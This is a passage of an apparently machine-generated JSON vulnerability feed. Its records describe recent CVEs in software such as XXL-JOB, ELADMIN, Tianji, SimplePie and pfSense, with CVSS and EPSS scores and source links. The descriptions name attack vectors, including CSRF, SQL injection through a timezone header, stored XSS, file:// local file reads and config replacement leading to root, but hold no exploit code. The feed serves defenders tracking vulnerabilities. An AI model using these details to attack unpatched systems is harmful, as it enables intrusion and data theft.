page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-7cxh-94cf-mfp6, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106708","cveId":"CVE-2026-106708","aliases":[],"kind":"vulnerability","title":"XXL-JOB 3.5.0-SNAPSHOT and earlier contains a Cross-Site Request Forgery (CSRF) vulnerability in the user management controller (JobUserController).","summary":"XXL-JOB 3.5.0-SNAPSHOT and earlier contains a Cross-Site Request Forgery (CSRF) vulnerability in the user management controller (JobUserController). The endpoints /user/insert, /user/update, and /user/delete lack CSRF protection and do not restrict HTTP method.","detail":"XXL-JOB 3.5.0-SNAPSHOT and earlier contains a Cross-Site Request Forgery (CSRF) vulnerability in the user management controller (JobUserController). The endpoints /user/insert, /user/update, and /user/delete lack CSRF protection and do not restrict HTTP method.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T20:17:06.420Z","updatedAt":"2026-10-19T19:17:19.163Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106708","asOf":"2026-10-19T19:17:19.163Z"},"epss":{"probability":0.00148,"percentile":0.03936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106708","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106708","type":"primary","publishedAt":"2026-10-15T20:17:06.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106700","cveId":"CVE-2026-106700","aliases":[],"kind":"vulnerability","title":"ELADMIN v2.7 and earlier contains an improper access control vulnerability in the user-management endpoint PUT /api/users/resetPwd of...","summary":"ELADMIN v2.7 and earlier contains an improper access control vulnerability in the user-management endpoint PUT /api/users/resetPwd of me.zhengjie.modules.system.rest.UserController. The method lacks the method-level authorization check applied to all other user-management endpoints and performs no role-level or ownership validation in UserServiceImpl.resetPwd. Any authenticated user of any role can reset the password of arbitrary users, including the built-in administrator.","detail":"ELADMIN v2.7 and earlier contains an improper access control vulnerability in the user-management endpoint PUT /api/users/resetPwd of me.zhengjie.modules.system.rest.UserController. The method lacks the method-level authorization check applied to all other user-management endpoints and performs no role-level or ownership validation in UserServiceImpl.resetPwd. Any authenticated user of any role can reset the password of arbitrary users, including the built-in administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T20:17:06.297Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106700","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00303,"percentile":0.22844,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106700&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106700","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106700","type":"primary","publishedAt":"2026-10-15T20:17:06.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106700&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106700, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97370","cveId":"CVE-2026-97370","aliases":[],"kind":"vulnerability","title":"Junrar is an open source Java RAR archive library.","summary":"Junrar is an open source Java RAR archive library. Prior to 7.6.1, RarVM.ExecuteCode in src/main/java/com/github/junrar/unpack/vm/RarVM.java can repeatedly execute a VM_JMP instruction whose target is greater than or equal to the prepared program's codeSize. The setIP() function returns success without changing the instruction pointer or decrementing maxOpCount, and the jump handler continues before loop-end accounting, leaving both values unchanged. A crafted RAR4 archive can therefore keep an extraction thread in an infinite CPU loop and exhaust archive-processing worker capacity. The RAR virtual machine does not expose native process execution, so the supported impact is availability loss rather than code execution. This issue is fixed in version 7.6.1.","detail":"Junrar is an open source Java RAR archive library. Prior to 7.6.1, RarVM.ExecuteCode in src/main/java/com/github/junrar/unpack/vm/RarVM.java can repeatedly execute a VM_JMP instruction whose target is greater than or equal to the prepared program's codeSize. The setIP() function returns success without changing the instruction pointer or decrementing maxOpCount, and the jump handler continues before loop-end accounting, leaving both values unchanged. A crafted RAR4 archive can therefore keep an extraction thread in an infinite CPU loop and exhaust archive-processing worker capacity. The RAR virtual machine does not expose native process execution, so the supported impact is availability loss rather than code execution. This issue is fixed in version 7.6.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:49.983Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97370","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00402,"percentile":0.34208,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97370&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97370","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97370","type":"primary","publishedAt":"2026-10-15T19:17:49.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97370&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97370, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55872","cveId":"CVE-2026-55872","aliases":[],"kind":"vulnerability","title":"GYM One is open-source gym management software for fitness centers, personal trainers, and sports clubs.","summary":"GYM One is open-source gym management software for fitness centers, personal trainers, and sports clubs. Prior to 1.4.1, GYM One's admin/users/index.php renders the stored firstname, lastname, and email profile fields into the administrator user list without HTML output encoding. An attacker who can store values in those fields can cause content to execute in an administrator's browser when the administrator visits /admin/users/. The persistent script can access administrator-session data or perform actions with the administrator's privileges until the stored record is removed. This issue is fixed in version 1.4.1.","detail":"GYM One is open-source gym management software for fitness centers, personal trainers, and sports clubs. Prior to 1.4.1, GYM One's admin/users/index.php renders the stored firstname, lastname, and email profile fields into the administrator user list without HTML output encoding. An attacker who can store values in those fields can cause content to execute in an administrator's browser when the administrator visits /admin/users/. The persistent script can access administrator-session data or perform actions with the administrator's privileges until the stored record is removed. This issue is fixed in version 1.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:41.303Z","updatedAt":"2026-10-21T01:17:39.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55872","asOf":"2026-10-21T01:17:39.130Z"},"epss":{"probability":0.0029,"percentile":0.21386,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55872&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55872","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55872","type":"primary","publishedAt":"2026-10-15T19:17:41.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55872&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55872, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55587","cveId":"CVE-2026-55587","aliases":[],"kind":"vulnerability","title":"AliasVault is a privacy-first password manager with built-in email aliasing.","summary":"AliasVault is a privacy-first password manager with built-in email aliasing. Prior to 0.29.4, the AliasVault browser extension passkey provider does not bind passkey requests to the actual webpage origin or verify that the requested relying-party identifier matches the current website. A malicious website can provide forged origin and relying-party values and, if a victim with a matching stored passkey approves the AliasVault passkey prompt, obtain a valid assertion for a different website. Exploitation requires the extension to be installed, unlocked, and configured as a passkey provider, requires a stored passkey for the impersonated site, and cannot occur silently because the victim must approve the prompt. The server, web application, and mobile applications are not affected. This issue is fixed in version 0.29.4.","detail":"AliasVault is a privacy-first password manager with built-in email aliasing. Prior to 0.29.4, the AliasVault browser extension passkey provider does not bind passkey requests to the actual webpage origin or verify that the requested relying-party identifier matches the current website. A malicious website can provide forged origin and relying-party values and, if a victim with a matching stored passkey approves the AliasVault passkey prompt, obtain a valid assertion for a different website. Exploitation requires the extension to be installed, unlocked, and configured as a passkey provider, requires a stored passkey for the impersonated site, and cannot occur silently because the victim must approve the prompt. The server, web application, and mobile applications are not affected. This issue is fixed in version 0.29.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:40.657Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55587","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00148,"percentile":0.04,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55587&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55587","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55587","type":"primary","publishedAt":"2026-10-15T19:17:40.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55587&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55587, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55239","cveId":"CVE-2026-55239","aliases":[],"kind":"vulnerability","title":"Tianji is an open source analytics, uptime monitoring, and server status platform.","summary":"Tianji is an open source analytics, uptime monitoring, and server status platform. Prior to 1.31.29, the getDateQuery() function in src/server/utils/prisma.ts constructs raw SQL through Prisma.sql() by interpolating the timezone request value without parameter binding. The timezone value can reach affected analytics queries through request data or the timezone HTTP header, and workspaceProcedure permits any authenticated workspace member, including a read-only viewer, to reach those queries. An attacker can execute arbitrary SQL against the shared PostgreSQL database, which can disclose or modify credentials, API keys, and tenant data or make the service unavailable. This issue is fixed in version 1.31.29.","detail":"Tianji is an open source analytics, uptime monitoring, and server status platform. Prior to 1.31.29, the getDateQuery() function in src/server/utils/prisma.ts constructs raw SQL through Prisma.sql() by interpolating the timezone request value without parameter binding. The timezone value can reach affected analytics queries through request data or the timezone HTTP header, and workspaceProcedure permits any authenticated workspace member, including a read-only viewer, to reach those queries. An attacker can execute arbitrary SQL against the shared PostgreSQL database, which can disclose or modify credentials, API keys, and tenant data or make the service unavailable. This issue is fixed in version 1.31.29.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:40.143Z","updatedAt":"2026-10-21T01:17:39.013Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55239","asOf":"2026-10-21T01:17:39.013Z"},"epss":{"probability":0.0034,"percentile":0.27234,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55239&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55239","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55239","type":"primary","publishedAt":"2026-10-15T19:17:40.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55239&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55239, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45165","cveId":"CVE-2026-45165","aliases":[],"kind":"vulnerability","title":"An authorization flaw in Idira Conjur version 13.9.0 allows an authenticated user with limited privileges to perform unauthorized actions on a policy branch.","summary":"An authorization flaw in Idira Conjur version 13.9.0 allows an authenticated user with limited privileges to perform unauthorized actions on a policy branch. Under specific circumstances, an attacker could potentially leverage this to retrieve unauthorized secrets, alter administrative access controls on the branch or cause a denial of service (DoS). Idira Security Bulletin CA26-38.","detail":"An authorization flaw in Idira Conjur version 13.9.0 allows an authenticated user with limited privileges to perform unauthorized actions on a policy branch. Under specific circumstances, an attacker could potentially leverage this to retrieve unauthorized secrets, alter administrative access controls on the branch or cause a denial of service (DoS). Idira Security Bulletin CA26-38.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:38.653Z","updatedAt":"2026-10-15T21:17:13.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:U/V:D/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45165","asOf":"2026-10-15T21:17:13.347Z"},"epss":{"probability":0.00207,"percentile":0.10705,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-45165&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45165","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45165","type":"primary","publishedAt":"2026-10-15T19:17:38.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-45165&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-45165, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-36436","cveId":"CVE-2026-36436","aliases":[],"kind":"vulnerability","title":"An issue in Trisolutions BRPerfX version 1.4.4.0 exposes LDAP credentials in plaintext within the administrative configuration interface.","summary":"An issue in Trisolutions BRPerfX version 1.4.4.0 exposes LDAP credentials in plaintext within the administrative configuration interface. An authenticated administrator can inspect the client-side code to retrieve the credential.","detail":"An issue in Trisolutions BRPerfX version 1.4.4.0 exposes LDAP credentials in plaintext within the administrative configuration interface. An authenticated administrator can inspect the client-side code to retrieve the credential.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:38.520Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-36436","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.0034,"percentile":0.27176,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-36436&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-36436","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-36436","type":"primary","publishedAt":"2026-10-15T19:17:38.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-36436&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-36436, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111234","cveId":"CVE-2026-111234","aliases":[],"kind":"vulnerability","title":"SimplePie through 1.9.0 contains a local file read vulnerability that allows malicious feed servers to read server files by supplying file:// URLs in redirects or autodiscovery...","summary":"SimplePie through 1.9.0 contains a local file read vulnerability that allows malicious feed servers to read server files by supplying file:// URLs in redirects or autodiscovery links. Attackers can return a Location header or feed link pointing to a file:// path, causing file_get_contents() to read files accessible to the web server process.","detail":"SimplePie through 1.9.0 contains a local file read vulnerability that allows malicious feed servers to read server files by supplying file:// URLs in redirects or autodiscovery links. Attackers can return a Location header or feed link pointing to a file:// path, causing file_get_contents() to read files accessible to the web server process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:36.543Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111234","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.0031,"percentile":0.23611,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111234&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111234","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111234","type":"primary","publishedAt":"2026-10-15T19:17:36.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111234&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111234, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111231","cveId":"CVE-2026-111231","aliases":[],"kind":"vulnerability","title":"Netgate pfSense CE through 2.9.0 contains an authorization bypass vulnerability that allows read-only WebGUI users to replace config.xml because config_restore() and...","summary":"Netgate pfSense CE through 2.9.0 contains an authorization bypass vulnerability that allows read-only WebGUI users to replace config.xml because config_restore() and config_install() ignore the 'User - Config: Deny Config Write' privilege. Attackers holding page privileges for services_acb.php, uploadconfig.php, diag_confbak.php, or diag_backup.php can install a chosen config.xml to gain root-level code execution after reload or reboot.","detail":"Netgate pfSense CE through 2.9.0 contains an authorization bypass vulnerability that allows read-only WebGUI users to replace config.xml because config_restore() and config_install() ignore the 'User - Config: Deny Config Write' privilege. Attackers holding page privileges for services_acb.php, uploadconfig.php, diag_confbak.php, or diag_backup.php can install a chosen config.xml to gain root-level code execution after reload or reboot.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:36.110Z","updatedAt":"2026-10-26T16:17:13.660Z","regions":["Global"],"vendor":"pfsense","product":"pfsense","stacks":["pfSense","pfsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111231","asOf":"2026-10-26T16:17:13.660Z"},"epss":{"probability":0.00842,"percentile":0.57646,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111231&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111231","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111231","type":"primary","publishedAt":"2026-10-15T19:17:36.110Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE 